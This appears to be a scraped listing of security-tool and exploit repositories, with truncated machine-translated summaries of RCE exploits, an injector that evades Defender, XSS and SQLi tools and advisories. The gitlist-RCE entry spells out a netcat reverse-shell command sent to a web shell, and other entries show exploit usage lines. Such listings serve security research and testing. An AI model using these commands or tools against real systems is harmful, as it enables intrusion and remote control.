CVE-2023-33246_RocketMQ_RCE_EXPLOIT

CVE-2023-33246 Эксплойт удаленного выполнения кода RocketMQ CVE-2023-33246 Эксплойт удаленного выполнения кода RocketMQ Обзор RocketMQ — это распределенная платформа обмена сообщениями и потоковой передачи данных. Версии RocketMQ 5.1.0 и ниже уязвимы к произвольному внедрению кода. Компонент Brok...

CVE-2026-79992

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2026-79992

CVE-2026-79992 affects Emacs TRAMP , where a local attacker can achieve arbitrary code execution by processing maliciously crafted filenames. The root cause is that TRAMP concatenates login arguments (derived from the user field) without proper sanitization before passing them to a local shell . ...

EUVD-2026-65616

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2022-29078

CVE-2022-29078 Уязвимый ejs 3.1.6 docker Установка root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs Использование root@kitploit: http://127.0.0.1:49160/ Эксплуатация В...

CVE-2019-19393

Rittal CMC PU III – Сохранённый XSS PoC Приложение: Веб-интерфейс управления Rittal CMC PU III Устройства: CMC PU III 7030.000 Версия ПО: С V3.11.002 по V3.15.704 Версия оборудования: С V3.00 по V6.01 Тип атаки: Сохранённый XSS Решение: Обновитесь до версии ПО V3.17.10 или новее Краткое описание:...

CVE-2024-3094-info

CVE-2024-3094-정보 https://github.com/lockness-Ko/xz-vulnerable-honeypot https://tukaani.org/xz-backdoor/ - Lasse Collin 응답 https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 PoC удаленного выполнения команд через внедрение в лог на SAP NetWeaver AS JAVA CRM Пример использования скрипта root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true...

ios-malicious-bithunter

iOS Malicious Bit Hunter Аннотация iOS Malicious Bit Hunter — это механизм обнаружения вредоносных плагинов для iOS-приложений. Он может анализировать заголовок macho-файла внедренной dylib динамической библиотеки во время выполнения, а также выполнять анализ поведения через характеристики ввода...

Arduino_mousejack

Arduino Mousejack ShutDô Arduino Mousejack は、uCmousejeck （作者: insecuritythings ）をベースにしたプロジェクトで、Mousejack 攻撃をキーチェーンサイズの小型組み込みデバイスに実装することを目的としています。 Mousejack デバイスのプロトタイプ デバイスの構築は簡単で、コードには Duckyscript を使用して Microsoft および Logitech デバイスに対して自動キーストロークインジェクション攻撃を仕掛けるためのツールが含まれています。 構築 コンポーネントリスト: Arduino...

gitlist-RCE

gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

phpMyAdmin-CVE-2020-5504-Exploit

CVE-2020-5504 phpMyAdmin セキュリティ評価ツール phpMyAdmin デプロイメントにおける CVE-2020-5504 の特定と検証を行うための、認可されたセキュリティテストおよび研究フレームワーク 概要 · 機能 · インストール · 使用方法 · レポート · アーキテクチャ · 貢献 責任ある利用に関する注意: このプロジェクトは、あなたが所有する、または評価することを明示的に許可されたシステムのみを対象としています。書面による許可と明確なテスト範囲なしに、公開システム、第三者システム、本番システムに対して使用しないでください。 スクリーンショット CL...

cve-2018-1207

cve-2018-1207 Эксплойт iDRAC 7 & 8 прошивка 2.52.52.52 Описание Dell EMC iDRAC7/iDRAC8, версии до 2.52.52.52, содержат уязвимость внедрения CGI, которая может быть использована для удаленного выполнения кода. Удаленный неавторизованный злоумышленник потенциально может использовать переменные CGI...

CVE-2021-44228

CVE-2021-44228 チェッカー これは、脆弱性 CVE-2021-44228 を確認するためのリポジトリです。 これは、外部クラスローディングを行わずに文字列を表示するだけのPoCです。任意のコード実行には使用できません。 仕組み ステップ1: サーバーアプリケーションを実行する イメージ ghcr.io/greymd/cve-2021-44228/server が利用可能で、Docker上で実行できます。 root@kitploit: $ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server ステップ2...

CVE-2019-5418

CVE-2019-5418 песочница https://groups.google.com/forum/!msg/rubyonrails-security/zRNVOUhKHrg/GmmcVXcmAAAJ инициализация root@kitploit: $ git clone https://github.com/takeokunn/CVE-2019-5418 $ cd https://github.com/takeokunn/CVE-2019-5418 $ docker-compose up Использование root@kitploit: $ curl...

loxs-optimized

loxs-optimized Проект с https://github.com/coffinxp/loxs CSP-Bypass-xss.txt Примечание: в основном обходит CSP-пейлоады 2024-11-06 Добавление CSP-Bypass-xss.txt в xss.txt 2024-11-07 Удаление мешающей информации Отображается только уязвимая информация 2024-11-11 Решает проблему, из-за которой...

dubbo-rce

CVE-2023-23638 Только для учебных исследований ZooKeeper предоставляется отдельно Тестовая среда: Java 8, другие версии не тестировались, работоспособность не гарантируется Для воспроизведения необходимо добавить параметр VM для DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true. Подробнее с...

NullGate

NullGate 이 프로젝트는 동적 syscall 번호 검색을 위한 약간의 변형을 가미한 FreshyCalls 방식과 함께 간접 syscall을 사용하여 NTAPI 함수를 편리하고 현대적인 방식으로 사용할 수 있게 해줍니다. 또한 Windows Defender의 메모리 검색을 우회하기 위해 언급된 적 없는 기술을 사용합니다. 이 프로젝트는 라이브러리를 사용하는 고전적인 PoC 프로세스 인젝터를 구현합니다. 암호화를 위한 편리한 함수도 제공됩니다. 데모 빌드 샘플을 빌드하려면 -DNULLGATEBUILDSAMPLE=ON을...

Ghazi

Ghazi Ghazi는 'Proxy' 또는 'Repeater' 탭에서 선택한 탭으로 모든 GET 또는 POST 파라미터를 대체하는, 다양한 페이로드"XSS, SQLi, SSTI, SSRF, RCE 및 LFI"를 테스트하기 위한 BurpSuite 플러그인입니다. Ghazi의 XSS 탭: 모든 파라미터를 XSS 페이로드로 대체 SSTI Server Side Template Injection 탭: 모든 파라미터 대체 'Ijaaz 및 Kashif'의 최고의 기여에 감사드립니다 p3n73st3r 올림 twitter.com/p3n73st...

BSQLinjector

BSQLinjector BSQLinjector는 블라인드 방식을 사용하여 SQL 데이터베이스에서 데이터를 검색합니다. 애플리케이션에 전송하기 전에 구성된 페이로드가 어떻게 보이는지 명확히 확인하려면 "--test" 스위치를 사용하는 것이 좋습니다. Options: root@kitploit: --file Mandatory - File containing valid HTTP request and SQL injection point SQLINJECT. --file=/tmp/req.txt --pattern Mandatory -...